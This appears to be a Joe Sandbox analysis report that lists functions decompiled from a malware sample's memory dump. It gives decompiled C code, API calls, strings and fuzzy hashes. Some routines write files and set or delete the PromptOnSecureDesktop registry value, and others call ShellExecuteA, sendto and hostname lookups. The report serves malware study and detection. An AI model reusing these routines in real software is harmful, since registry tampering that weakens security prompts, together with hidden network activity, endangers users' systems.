Function 0040A4C7, Relevance: 6.0, APIs: 4, Instructions: 27
sleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040A4C7(intOrPtr _a4) {
				long _t3;
				LONG* _t8;
				long _t9;

				_t9 = GetTickCount();
				_t8 = _a4 + 0x5c;
				while(1) {
					_t3 = InterlockedExchange(_t8, 1);
					if(_t3 == 0) {
						break;
					}
					_t3 = GetTickCount() - _t9;
					if(_t3 < 0x1388) {
						Sleep(0);
						continue;
					}
					break;
				}
				return _t3;
			}

0x0040a4dd
0x0040a4df
0x0040a4f7
0x0040a4fa
0x0040a4fe
0x00000000
0x00000000
0x0040a4e6
0x0040a4ed
0x0040a4f1
0x00000000
0x0040a4f1
0x00000000
0x0040a4ed
0x0040a504

APIs

GetTickCount.KERNEL32 ref: 0040A4D1
GetTickCount.KERNEL32 ref: 0040A4E4
Sleep.KERNEL32(00000000,?,0040C2E9,0040C4E0,00000000,localcfg,?,0040C4E0,00413588,00408810), ref: 0040A4F1
InterlockedExchange.KERNEL32(?,00000001), ref: 0040A4FA

Memory Dump Source

Source File: 0000001A.00000002.443196839.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.443214097.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_A881.jbxd

Yara matches

Similarity

API ID: CountTick$ExchangeInterlockedSleep
String ID:
API String ID: 2207858713-0
Opcode ID: 4cd0520482080c365333fb8aab0c55e365768e1349ae612301bcb729eb943e51
Instruction ID: a5473328a7e7118e9aede6741b06156156ec1e7733dd8d1ec56465b12724d56e
Opcode Fuzzy Hash: 4cd0520482080c365333fb8aab0c55e365768e1349ae612301bcb729eb943e51
Instruction Fuzzy Hash: 7DE0863720131567C6005BA5BD84FAA7B98AB4D761F164072FB08E3280D6AAA99145BF

Uniqueness

Uniqueness Score: -1.00%

Function 00404E92, Relevance: 6.0, APIs: 4, Instructions: 27
sleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404E92(void* __ecx) {
				long _t2;
				void* _t7;
				LONG* _t8;
				long _t9;

				_t7 = __ecx;
				_t9 = GetTickCount();
				_t8 = _t7 + 4;
				while(1) {
					_t2 = InterlockedExchange(_t8, 1);
					if(_t2 == 0) {
						break;
					}
					_t2 = GetTickCount() - _t9;
					if(_t2 < 0x2710) {
						Sleep(0xa);
						continue;
					}
					break;
				}
				return _t2;
			}

0x00404e9c
0x00404ea6
0x00404ea8
0x00404ec0
0x00404ec3
0x00404ec7
0x00000000
0x00000000
0x00404eaf
0x00404eb6
0x00404eba
0x00000000
0x00404eba
0x00000000
0x00404eb6
0x00404ecd

APIs

GetTickCount.KERNEL32 ref: 00404E9E
GetTickCount.KERNEL32 ref: 00404EAD
Sleep.KERNEL32(0000000A,?,00000001), ref: 00404EBA
InterlockedExchange.KERNEL32(?,00000001), ref: 00404EC3

Memory Dump Source

Source File: 0000001A.00000002.443196839.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.443214097.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_A881.jbxd

Yara matches

Similarity

API ID: CountTick$ExchangeInterlockedSleep
String ID:
API String ID: 2207858713-0
Opcode ID: 574f7709b1251d8d4516fda0e718bcbaf1509578ef326d685951742d25275ed5
Instruction ID: 0be737a4b1ecb403dd0b6a084e6b0260aeafc6613011e157a8d43e60cd200510
Opcode Fuzzy Hash: 574f7709b1251d8d4516fda0e718bcbaf1509578ef326d685951742d25275ed5
Instruction Fuzzy Hash: 6AE086B620121457D61027B9FD84F966A89AB9A361F010532F70DE21C0C6AA989345FD

Uniqueness

Uniqueness Score: -1.00%

Function 00404BD1, Relevance: 6.0, APIs: 4, Instructions: 27
sleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404BD1(void* __ecx) {
				long _t2;
				void* _t7;
				LONG* _t8;
				long _t9;

				_t7 = __ecx;
				_t9 = GetTickCount();
				_t8 = _t7 + 0xc;
				while(1) {
					_t2 = InterlockedExchange(_t8, 1);
					if(_t2 == 0) {
						break;
					}
					_t2 = GetTickCount() - _t9;
					if(_t2 < 0x1388) {
						Sleep(0);
						continue;
					}
					break;
				}
				return _t2;
			}

0x00404bdb
0x00404be5
0x00404be7
0x00404bff
0x00404c02
0x00404c06
0x00000000
0x00000000
0x00404bee
0x00404bf5
0x00404bf9
0x00000000
0x00404bf9
0x00000000
0x00404bf5
0x00404c0c

APIs

GetTickCount.KERNEL32 ref: 00404BDD
GetTickCount.KERNEL32 ref: 00404BEC
Sleep.KERNEL32(00000000,?,?,?,00000004,004050F2), ref: 00404BF9
InterlockedExchange.KERNEL32(-00000008,00000001), ref: 00404C02

Memory Dump Source

Source File: 0000001A.00000002.443196839.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.443214097.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_A881.jbxd

Yara matches

Similarity

API ID: CountTick$ExchangeInterlockedSleep
String ID:
API String ID: 2207858713-0
Opcode ID: 1ad869c4a91a2c80201434bef060b196597965ff38d45849583c02ff4b747b44
Instruction ID: c27c4130c4fb343c81443d6f5f76baf76a02980c1ff66e5fdc0d00212ab38f61
Opcode Fuzzy Hash: 1ad869c4a91a2c80201434bef060b196597965ff38d45849583c02ff4b747b44
Instruction Fuzzy Hash: FCE0867624521457D61027A66D80FA67BA89B99361F064073F70CE2190C9AAE48141BD

Uniqueness

Uniqueness Score: -1.00%

Function 004030FA, Relevance: 6.0, APIs: 4, Instructions: 23
sleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004030FA(LONG* _a4) {
				long _t3;
				long _t5;

				_t5 = GetTickCount();
				while(1) {
					_t3 = InterlockedExchange(_a4, 1);
					if(_t3 == 0) {
						break;
					}
					_t3 = GetTickCount() - _t5;
					if(_t3 < 0x1388) {
						Sleep(0);
						continue;
					}
					break;
				}
				return _t3;
			}

0x0040310b
0x00403122
0x00403128
0x0040312c
0x00000000
0x00000000
0x00403111
0x00403118
0x0040311c
0x00000000
0x0040311c
0x00000000
0x00403118
0x00403131

APIs

GetTickCount.KERNEL32 ref: 00403103
GetTickCount.KERNEL32 ref: 0040310F
Sleep.KERNEL32(00000000), ref: 0040311C
InterlockedExchange.KERNEL32(?,00000001), ref: 00403128

Memory Dump Source

Source File: 0000001A.00000002.443196839.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.443214097.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_A881.jbxd

Yara matches

Similarity

API ID: CountTick$ExchangeInterlockedSleep
String ID:
API String ID: 2207858713-0
Opcode ID: 5475aadbbb6481cfb66701b566d3724b8cf1f0baef2ba10e865a3ab4c750e63b
Instruction ID: 9edc608f4d32da9f9de986fa19dd3c9deb40157c310ade5cfb00ff6fe32d5b40
Opcode Fuzzy Hash: 5475aadbbb6481cfb66701b566d3724b8cf1f0baef2ba10e865a3ab4c750e63b
Instruction Fuzzy Hash: 51E0C235200215ABDB00AF75BD44B8A6E9EDF8C762F014432F205EA1E0C9F44D51897A

Uniqueness

Uniqueness Score: -1.00%

Function 0040E177, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 148
fileCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E0040E177(signed int _a4, long _a8) {
				void* _v8;
				void* _v12;
				void* __ecx;
				void* _t31;
				void* _t34;
				intOrPtr* _t36;
				void* _t38;
				intOrPtr* _t41;
				void* _t43;
				void* _t46;
				void* _t47;
				void* _t57;
				void* _t58;
				void* _t67;
				void* _t68;
				void* _t72;
				void* _t77;

				_push(_t58);
				_push(_t58);
				if(_a8 != 0) {
					L2:
					if( *0x4136c0 == 0) {
						L20:
						_t31 = 1;
						L21:
						return _t31;
					}
					if((_a4 & 0x00000001) != 0) {
						_t46 = E0040DFE2(_t58, 1,  &_v8,  &_a8);
						_t67 = _t67 + 0xc;
						if(_t46 != 0) {
							_t81 = _a8;
							if(_a8 != 0) {
								_t47 = E0040DBCF(_t81, 0x40000000, 2);
								_pop(_t58);
								_v12 = _t47;
								if(_t47 != 0xffffffff) {
									_t57 = _v8;
									if(_t57 != 0 && _a8 != 0) {
										E00402544(_t57, _t57, _a8, 0xe4, 0xc8);
										_t67 = _t67 + 0x14;
										if(WriteFile(_v12, _t57, _a8,  &_a8, 0) != 0) {
											 *0x4136c0 =  *0x4136c0 & 0x00000000;
										}
									}
									CloseHandle(_v12);
								}
							}
						}
					}
					if((_a4 & 0x00000002) == 0) {
						L19:
						goto L20;
					}
					_t34 = E0040DFE2(_t58, 2,  &_v8,  &_a8);
					_t68 = _t67 + 0xc;
					if(_t34 == 0 || _a8 == 0) {
						goto L19;
					} else {
						E00402544(_v8, _v8, _a8, 0xe4, 0xc8);
						_t36 = E00402544(0x4128f8, 0x4110d0, 7, 0xe4, 0xc8);
						_t38 = E0040E095(0x80000001, E00402544(0x4122f8, 0x4110bc, 0x14, 0xe4, 0xc8), _t36, _v8, _a8);
						_t72 = _t68 + 0x50;
						if(_t38 != 0) {
							L17:
							 *0x4136c0 =  *0x4136c0 & 0x00000000;
							L18:
							E0040EE2A(_t58, 0x4122f8, 0, 0x100);
							E0040EE2A(_t58, 0x4128f8, 0, 0x100);
							goto L19;
						}
						_t41 = E00402544(0x4128f8, 0x4110d0, 7, 0xe4, 0xc8);
						_t43 = E0040E095(0x80000001, E00402544(0x4122f8, 0x4110a0, 0x19, 0xe4, 0xc8), _t41, _v8, _a8);
						_t72 = _t72 + 0x3c;
						if(_t43 == 0) {
							goto L18;
						}
						goto L17;
					}
				}
				_t31 = 1;
				_t77 =  *0x4120ec - _t31; // 0x1
				if(_t77 != 0) {
					goto L21;
				}
				goto L2;
			}

0x0040e17a
0x0040e17b
0x0040e182
0x0040e193
0x0040e199
0x0040e312
0x0040e314
0x0040e315
0x0040e317
0x0040e317
0x0040e1ad
0x0040e1b9
0x0040e1be
0x0040e1c3
0x0040e1c5
0x0040e1c8
0x0040e1d1
0x0040e1d7
0x0040e1d8
0x0040e1de
0x0040e1e0
0x0040e1e5
0x0040e1f4
0x0040e1f9
0x0040e211
0x0040e213
0x0040e213
0x0040e211
0x0040e21d
0x0040e21d
0x0040e1de
0x0040e1c8
0x0040e1c3
0x0040e227
0x0040e310
0x00000000
0x0040e311
0x0040e237
0x0040e23c
0x0040e241
0x00000000
0x0040e251
0x0040e25c
0x0040e278
0x0040e29e
0x0040e2a3
0x0040e2a8
0x0040e2eb
0x0040e2eb
0x0040e2f2
0x0040e2fb
0x0040e308
0x00000000
0x0040e30d
0x0040e2be
0x0040e2df
0x0040e2e4
0x0040e2e9
0x00000000
0x00000000
0x00000000
0x0040e2e9
0x0040e241
0x0040e186
0x0040e187
0x0040e18d
0x00000000
0x00000000
0x00000000

APIs

WriteFile.KERNEL32(00000001,0040DAE0,00000000,00000000,00000000), ref: 0040E209
CloseHandle.KERNEL32(00000001,00000003), ref: 0040E21D

Part of subcall function 0040E095: RegCreateKeyExA.ADVAPI32(80000001,0040E2A3,00000000,00000000,00000000,00020106,00000000,0040E2A3,00000000,000000E4), ref: 0040E0B2
Part of subcall function 0040E095: RegSetValueExA.ADVAPI32(0040E2A3,?,00000000,00000003,80000001,000FF000,?,?,?,?,000000C8,PromptOnSecureDesktop), ref: 0040E127
Part of subcall function 0040E095: RegDeleteValueA.ADVAPI32(0040E2A3,?,?,?,?,?,000000C8,PromptOnSecureDesktop), ref: 0040E158
Part of subcall function 0040E095: RegCloseKey.ADVAPI32(0040E2A3,?,?,?,?,000000C8,PromptOnSecureDesktop,?,?,?,?,?,?,?,?,0040E2A3), ref: 0040E161

Strings

PromptOnSecureDesktop, xrefs: 0040E28A, 0040E28F, 0040E2D0, 0040E2FA

Memory Dump Source

Source File: 0000001A.00000002.443196839.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.443214097.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_A881.jbxd

Yara matches

Similarity

API ID: CloseValue$CreateDeleteFileHandleWrite
String ID: PromptOnSecureDesktop
API String ID: 4151426672-2980165447
Opcode ID: b35f9f727470473fe34b0fcdae204b38b052469ea0fd64ba9bdd2db24e4b8a6b
Instruction ID: b34283ca0245a4d5345772c7626065eb71a791ff6ac24fd5689ebe733b27dfc9
Opcode Fuzzy Hash: b35f9f727470473fe34b0fcdae204b38b052469ea0fd64ba9bdd2db24e4b8a6b
Instruction Fuzzy Hash: 5D41DB71940214BADB205E938C06FDB3F6CEB44754F1084BEFA09B41D2E6B99A60D6BD

Uniqueness

Uniqueness Score: -1.00%

Function 006CE3C7, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 148fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(00000001,006C44CB,00000000,00000000,00000000), ref: 006CE459
CloseHandle.KERNEL32(00000001,00000003), ref: 006CE46D

Part of subcall function 006CE2E5: RegCreateKeyExA.ADVAPI32(80000001,006CE4F3,00000000,00000000,00000000,00020106,00000000,006CE4F3,00000000,000000E4), ref: 006CE302
Part of subcall function 006CE2E5: RegSetValueExA.ADVAPI32(006CE4F3,?,00000000,00000003,80000001,000FF000,?,?,?,?,000000C8,PromptOnSecureDesktop), ref: 006CE377
Part of subcall function 006CE2E5: RegDeleteValueA.ADVAPI32(006CE4F3,?,?,?,?,?,000000C8,PromptOnSecureDesktop), ref: 006CE3A8
Part of subcall function 006CE2E5: RegCloseKey.ADVAPI32(006CE4F3,?,?,?,?,000000C8,PromptOnSecureDesktop,?,?,?,?,?,?,?,?,006CE4F3), ref: 006CE3B1

Strings

PromptOnSecureDesktop, xrefs: 006CE4DA, 006CE4DF, 006CE520, 006CE54A

Memory Dump Source

Source File: 0000001A.00000002.443373510.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_6c0000_A881.jbxd

Yara matches

Similarity

API ID: CloseValue$CreateDeleteFileHandleWrite
String ID: PromptOnSecureDesktop
API String ID: 4151426672-2980165447
Opcode ID: f9347908c3accb151d66d4a2045a2710535659ff764f1ec32379916764927f64
Instruction ID: 805359a83337208ea444154634a954fad7f6d3dac2b0ce267ee1b6ee032aa9e9
Opcode Fuzzy Hash: f9347908c3accb151d66d4a2045a2710535659ff764f1ec32379916764927f64
Instruction Fuzzy Hash: 0341ECB2940204BADB24AF518C46FFB3B7EDF04754F10806DFE0995192F6B6CA50D6B8

Uniqueness

Uniqueness Score: -1.00%

Function 006C8319, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 146registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,00000000,?,?,00000000,00000101,?), ref: 006C83AF
RegCloseKey.ADVAPI32(?,?,?,00000000,00000101,?), ref: 006C8460

Part of subcall function 006C69AC: SetFileAttributesA.KERNEL32(?,00000080), ref: 006C69CE
Part of subcall function 006C69AC: SetFileAttributesA.KERNEL32(?,00000002), ref: 006C6A0F
Part of subcall function 006C69AC: GetFileSize.KERNEL32(000000FF,00000000), ref: 006C6A23

Part of subcall function 006CEE7E: GetProcessHeap.KERNEL32(00000000,?,00000000,006C1DB8,?), ref: 006CEE91
Part of subcall function 006CEE7E: HeapFree.KERNEL32(00000000), ref: 006CEE98

Strings

PromptOnSecureDesktop, xrefs: 006C839B, 006C83A0, 006C846C

Memory Dump Source

Source File: 0000001A.00000002.443373510.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_6c0000_A881.jbxd

Yara matches

Similarity

API ID: File$AttributesHeap$CloseFreeOpenProcessSize
String ID: PromptOnSecureDesktop
API String ID: 359188348-2980165447
Opcode ID: c1a48b1ac5137ef9544f8785227e3e3eae959810ca81eb1dd85f310690abdf03
Instruction ID: f1b2c935892d6817c95611e09c25321d0586f58ae370e9807d21b0f54ba89f48
Opcode Fuzzy Hash: c1a48b1ac5137ef9544f8785227e3e3eae959810ca81eb1dd85f310690abdf03
Instruction Fuzzy Hash: 50417FB290010ABEEB24EBA09D81FFE77BEDB44300F14847EF504E7111EA749E948B55

Uniqueness

Uniqueness Score: -1.00%

Function 006CE61A, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 136registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,006CE842,00000000,00020119,006CE842,PromptOnSecureDesktop), ref: 006CE636
RegCloseKey.ADVAPI32(006CE842,?,?,?,?,000000C8,000000E4), ref: 006CE770

Strings

PromptOnSecureDesktop, xrefs: 006CE620

Memory Dump Source

Source File: 0000001A.00000002.443373510.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_6c0000_A881.jbxd

Yara matches

Similarity

API ID: CloseOpen
String ID: PromptOnSecureDesktop
API String ID: 47109696-2980165447
Opcode ID: ca61599b3ee270ad7d52ab6b22e6fbb0cb95010ae32332e4c3022532ab02544e
Instruction ID: 61e3c918ff80264c451685179a07dfb249be75e508080c45b4bad35e03dc7496
Opcode Fuzzy Hash: ca61599b3ee270ad7d52ab6b22e6fbb0cb95010ae32332e4c3022532ab02544e
Instruction Fuzzy Hash: D8410AB2D0021DBFDF11AF94DD81EFEBBBEEB14304F14406AE910B2151E3729A558B60

Uniqueness

Uniqueness Score: -1.00%

Function 006CAFD9, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 121timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 006CAFE8
SystemTimeToFileTime.KERNEL32(?,?), ref: 006CAFF6

Part of subcall function 006CAF58: gethostname.WS2_32(?,00000080), ref: 006CAF6C
Part of subcall function 006CAF58: lstrcpy.KERNEL32(?,00410B90), ref: 006CAFCF

Part of subcall function 006C3305: gethostname.WS2_32(?,00000080), ref: 006C3328
Part of subcall function 006C3305: gethostbyname.WS2_32(?), ref: 006C3332

Part of subcall function 006CA9F3: inet_ntoa.WS2_32(00000000), ref: 006CA9F9

Strings

%OUTLOOK_BND_, xrefs: 006CB05F, 006CB064, 006CB0A7, 006CB0C6

Memory Dump Source

Source File: 0000001A.00000002.443373510.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_6c0000_A881.jbxd

Yara matches

Similarity

API ID: Time$gethostname$FileLocalSystemgethostbynameinet_ntoalstrcpy
String ID: %OUTLOOK_BND_
API String ID: 1981676241-3684217054
Opcode ID: 8e8a8b671ed14d1768aa81df58b4956713f73d3ffbf43b844f6b98d3c95244e6
Instruction ID: 202ae7615bf5ade86d9f81693755611fbe6cc1a13641e880e3dbdb671edec304
Opcode Fuzzy Hash: 8e8a8b671ed14d1768aa81df58b4956713f73d3ffbf43b844f6b98d3c95244e6
Instruction Fuzzy Hash: 454110B290025CABDB25EFA0DC46FEF37AEFB04344F14442EB92492152EB75D954CB54

Uniqueness

Uniqueness Score: -1.00%

Function 006C943B, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 119sleepCOMMON

Download Yara Rule

APIs

ShellExecuteA.SHELL32(00000000,00000000,00000020,00000022,00000000,00000000), ref: 006C951F
Sleep.KERNEL32(000001F4), ref: 006C9546

Strings

, xrefs: 006C94C2

Memory Dump Source

Source File: 0000001A.00000002.443373510.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_6c0000_A881.jbxd

Yara matches

Similarity

API ID: ExecuteShellSleep
String ID:
API String ID: 4194306370-3916222277
Opcode ID: 551461b966954de20ec1d41e8ed6a80588f78eac55537dc1440b17fc4f14da60
Instruction ID: 9a8a461b9c646d79a38ea5348695ddded99ca015ccceace01c6d79fc028733eb
Opcode Fuzzy Hash: 551461b966954de20ec1d41e8ed6a80588f78eac55537dc1440b17fc4f14da60
Instruction Fuzzy Hash: 724129718083946EEB3A8764D88CFF63BE6DB02310F5881EDD49697292D6B44D828771

Uniqueness

Uniqueness Score: -1.00%

Function 006CBBE0, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 006CBB82
InterlockedIncrement.KERNEL32(?), ref: 006CBDFE

Strings

0t, xrefs: 006CBB82

Memory Dump Source

Source File: 0000001A.00000002.443373510.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_6c0000_A881.jbxd

Yara matches

Similarity

API ID: CountIncrementInterlockedTick
String ID: 0t
API String ID: 2903770966-1355922044
Opcode ID: a04ee2a2c9cdc85e6bbe75af223a59f82e01217bbc2cf6c0f0167175ccb8fb12
Instruction ID: 21b7aad2103e5a8277208e159d7302b6b09d0b223a7dedd4bc3e03a9f36c804a
Opcode Fuzzy Hash: a04ee2a2c9cdc85e6bbe75af223a59f82e01217bbc2cf6c0f0167175ccb8fb12
Instruction Fuzzy Hash: A6417E71800258DFDB35EFA4DC86FFA37AAEB08700F60545EFA2592251EB309A84CF55

Uniqueness

Uniqueness Score: -1.00%

Function 006C294F, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 96COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 006C297E
sendto.WS2_32(?,00412BF8,00000009,00000000,?,00000010), ref: 006C2A52

Part of subcall function 006CEE1C: GetProcessHeap.KERNEL32(00000000,00000000,00000000,006CEE4E,?,?,006C1D5E,?,?), ref: 006CEE23
Part of subcall function 006CEE1C: RtlAllocateHeap.NTDLL(00000000,?,006C1D5E), ref: 006CEE2A

Strings

0t, xrefs: 006C297E

Memory Dump Source

Source File: 0000001A.00000002.443373510.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_6c0000_A881.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCountProcessTicksendto
String ID: 0t
API String ID: 1419455383-1355922044
Opcode ID: 0403605264f70e2ba04ed5eb857e1fa34a4c1028b668a0d3736469d5bfe16290
Instruction ID: 18c608a72d13c7cf53f1d73420761d614760cf20bb3117c71e12226a672b4574
Opcode Fuzzy Hash: 0403605264f70e2ba04ed5eb857e1fa34a4c1028b668a0d3736469d5bfe16290
Instruction Fuzzy Hash: 893103342483929FD7108FB4DC60EE67765FF19314B2980ADE855CB322D6B2E892D708

Uniqueness

Uniqueness Score: -1.00%

Function 006CBD7A, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 87COMMON

Download Yara Rule

APIs

Part of subcall function 006CB615: wsprintfA.USER32 ref: 006CB6B7

GetTickCount.KERNEL32 ref: 006CB9C2
InterlockedIncrement.KERNEL32(00413648), ref: 006CBA23
InterlockedIncrement.KERNEL32(?), ref: 006CBA7D
GetTickCount.KERNEL32 ref: 006CBB62
GetTickCount.KERNEL32 ref: 006CBB82
InterlockedIncrement.KERNEL32(?), ref: 006CBDFE
closesocket.WS2_32(00000000), ref: 006CBE9D

Strings

0t, xrefs: 006CBB82

Memory Dump Source

Source File: 0000001A.00000002.443373510.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_6c0000_A881.jbxd

Yara matches

Similarity

API ID: CountIncrementInterlockedTick$closesocketwsprintf
String ID: 0t
API String ID: 4077942794-1355922044
Opcode ID: 807286dfab293aa3b35cedfe51c725f4e5163db31e78ef99f1cf7ca87fcdd825
Instruction ID: 85c1438b7c2bd4c4bb47e96436bd9c9bdc259734f334ef5b0b2391934b19ffad
Opcode Fuzzy Hash: 807286dfab293aa3b35cedfe51c725f4e5163db31e78ef99f1cf7ca87fcdd825
Instruction Fuzzy Hash: 53315A31400248EFDF65DFA4DC56EF977A6EB08B00F20545EFA2482261EB31DA85DF15

Uniqueness

Uniqueness Score: -1.00%

Function 006CBDB9, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 79COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 006CB9C2
InterlockedIncrement.KERNEL32(00413648), ref: 006CBA23
InterlockedIncrement.KERNEL32(?), ref: 006CBA7D
GetTickCount.KERNEL32 ref: 006CBB62
GetTickCount.KERNEL32 ref: 006CBB82
InterlockedIncrement.KERNEL32(?), ref: 006CBDFE
closesocket.WS2_32(00000000), ref: 006CBE9D

Strings

0t, xrefs: 006CBB82

Memory Dump Source

Source File: 0000001A.00000002.443373510.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_6c0000_A881.jbxd

Yara matches

Similarity

API ID: CountIncrementInterlockedTick$closesocket
String ID: 0t
API String ID: 1869671989-1355922044
Opcode ID: 1d618aaef58b3ab215079b9b31fa447b3856f6d26cbe6ee9946270808dfc3956
Instruction ID: 2b9f16c0e03fdbef9b87c203142761505b7e5e73d79477297e6fb44f8c19e7a5
Opcode Fuzzy Hash: 1d618aaef58b3ab215079b9b31fa447b3856f6d26cbe6ee9946270808dfc3956
Instruction Fuzzy Hash: 5E216D31400248DFDF64DF64DC45EF937A5EB48B01F20505EF92482261EB31DA84CF15

Uniqueness

Uniqueness Score: -1.00%

Function 006CBBCD, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 006CB9C2
InterlockedIncrement.KERNEL32(00413648), ref: 006CBA23
InterlockedIncrement.KERNEL32(?), ref: 006CBA7D
GetTickCount.KERNEL32 ref: 006CBB62
GetTickCount.KERNEL32 ref: 006CBB82
InterlockedIncrement.KERNEL32(?), ref: 006CBDFE
closesocket.WS2_32(00000000), ref: 006CBE9D

Strings

0t, xrefs: 006CBB82

Memory Dump Source

Source File: 0000001A.00000002.443373510.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_6c0000_A881.jbxd

Yara matches

Similarity

API ID: CountIncrementInterlockedTick$closesocket
String ID: 0t
API String ID: 1869671989-1355922044
Opcode ID: 9b58e820c96e30bea9cf8a5773d901c602008467136ce8ddc7967acdf40d357b
Instruction ID: 0838e22d3e32148b83ff313e6583466262a3e25805f3261cefc189a217e94f9e
Opcode Fuzzy Hash: 9b58e820c96e30bea9cf8a5773d901c602008467136ce8ddc7967acdf40d357b
Instruction Fuzzy Hash: FE217A71400248DFDB25DFA4DC96EFA37AAEB48B40F20505EFA2582261EB31DA84CF55

Uniqueness

Uniqueness Score: -1.00%

Function 006CBD60, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 006CB9C2
InterlockedIncrement.KERNEL32(00413648), ref: 006CBA23
InterlockedIncrement.KERNEL32(?), ref: 006CBA7D
GetTickCount.KERNEL32 ref: 006CBB62
GetTickCount.KERNEL32 ref: 006CBB82
InterlockedIncrement.KERNEL32(?), ref: 006CBDFE
closesocket.WS2_32(00000000), ref: 006CBE9D

Strings

0t, xrefs: 006CBB82

Memory Dump Source

Source File: 0000001A.00000002.443373510.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_6c0000_A881.jbxd

Yara matches

Similarity

API ID: CountIncrementInterlockedTick$closesocket
String ID: 0t
API String ID: 1869671989-1355922044
Opcode ID: 1ad4ab0cef1100dab09d35a4997a37f06c5e750f14e9eb7400ff0985812ffdd9
Instruction ID: 2edfa0d9a80e2317a9e8c8eba2fd83648de8db374ed78537b960c305a1818f74
Opcode Fuzzy Hash: 1ad4ab0cef1100dab09d35a4997a37f06c5e750f14e9eb7400ff0985812ffdd9
Instruction Fuzzy Hash: 41212731400248DFDB25DFA4DC9AFFA77A6EB48B41F60505EFA2582261EB31DA84CF15

Uniqueness

Uniqueness Score: -1.00%

Function 006CBBB0, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 006CB9C2
InterlockedIncrement.KERNEL32(00413648), ref: 006CBA23
InterlockedIncrement.KERNEL32(?), ref: 006CBA7D
GetTickCount.KERNEL32 ref: 006CBB62
GetTickCount.KERNEL32 ref: 006CBB82
InterlockedIncrement.KERNEL32(?), ref: 006CBDFE
closesocket.WS2_32(00000000), ref: 006CBE9D

Strings

0t, xrefs: 006CBB82

Memory Dump Source

Source File: 0000001A.00000002.443373510.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_6c0000_A881.jbxd

Yara matches

Similarity

API ID: CountIncrementInterlockedTick$closesocket
String ID: 0t
API String ID: 1869671989-1355922044
Opcode ID: 9ae727bc03e3a647016d1a17286895492352c477f613c7904a32ac3000c388d7
Instruction ID: 3271b9da0fc014345a742d67ce11486b4dc0e0a4b68e7c15f86e658d134fa507
Opcode Fuzzy Hash: 9ae727bc03e3a647016d1a17286895492352c477f613c7904a32ac3000c388d7
Instruction Fuzzy Hash: 0821AF31400248DFDF25DFA4DC96EFA37A6EB48B41F20506EFA2582261EB31DA85CF15

Uniqueness

Uniqueness Score: -1.00%

